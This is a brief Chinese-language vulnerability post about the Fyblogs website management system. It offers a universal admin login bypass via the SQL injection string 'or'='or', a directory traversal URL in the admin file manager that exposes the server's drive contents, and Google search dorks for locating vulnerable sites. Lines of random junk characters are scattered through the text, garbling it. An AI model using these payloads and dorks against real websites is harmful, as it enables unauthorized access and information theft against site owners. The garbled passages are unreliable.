Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
1 R3 T2 B6 n! B4 O2 E! P4 Y. }
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
admin/uploadfile.asp?currentFolder=/upfiles/../
' t: x- E$ X9 ^! s, ^$ D  v+ h
1 _. Q) s6 |* G; O5 y漏洞证明：
2 _9 _1 @! V/ h
谷歌：inurl:type.asp?id=1 新闻中心
% a; S. G3 a; k2 d% m- K# N! J或者 ：inurl:download_ok.asp?
& S( p4 K% q& C8 U6 {$ k
! n4 g. C9 f! `# s3 Q& z, Y# m; E